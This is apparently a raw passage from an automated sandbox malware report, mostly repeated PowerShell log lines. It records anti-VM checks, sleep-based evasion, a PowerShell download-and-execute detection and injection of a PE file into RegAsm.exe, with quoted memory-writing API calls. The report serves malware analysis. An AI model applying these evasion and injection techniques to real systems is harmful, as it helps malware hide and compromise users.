Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7096, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 14A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 5080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 29A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2B30000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4B30000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1314	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1739	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4657	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5159	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2893	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2146	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 2933	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 6822	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1357	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 874	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 675	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8593	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1117	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4912

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1276	Thread sleep count: 4657 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep count: 5159 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3292	Thread sleep count: 2893 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2820	Thread sleep count: 2146 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 432	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2752	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6448	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6428	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1784	Thread sleep count: 2933 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1784	Thread sleep count: 6822 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep count: 874 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep count: 675 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep count: 8593 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6400	Thread sleep count: 1117 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7256	Thread sleep count: 4912 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7272	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7312	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7336	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: powershell.exe, 00000004.00000002.2270288914.000002877C800000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: powershell.exe, 0000000E.00000002.2594095090.00000272EE8D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 0000000E.00000002.2403141075.00000272D67E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: powershell.exe, 0000000E.00000002.2596848048.00000272EEA40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI
Source: RegAsm.exe, 00000007.00000002.3345509657.000000000166B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_6400.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7096.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7096, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 4.2.powershell.exe.2877ca60000.5.raw.unpack, PoliTzzxo.cs	Reference to suspicious API methods: ReadProcessMemory_API(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesWritten)
Source: 4.2.powershell.exe.2877ca60000.5.raw.unpack, PoliTzzxo.cs	Reference to suspicious API methods: VirtualAllocEx_API(processInformation.ProcessHandle, num4, length, 12288, 64)
Source: 4.2.powershell.exe.2877ca60000.5.raw.unpack, PoliTzzxo.cs	Reference to suspicious API methods: WriteProcessMemory_API(processInformation.ProcessHandle, num5, data, bufferSize, ref bytesWritten)

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 414000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 416000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 10AA008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 414000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 416000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B95008	Jump to behavior

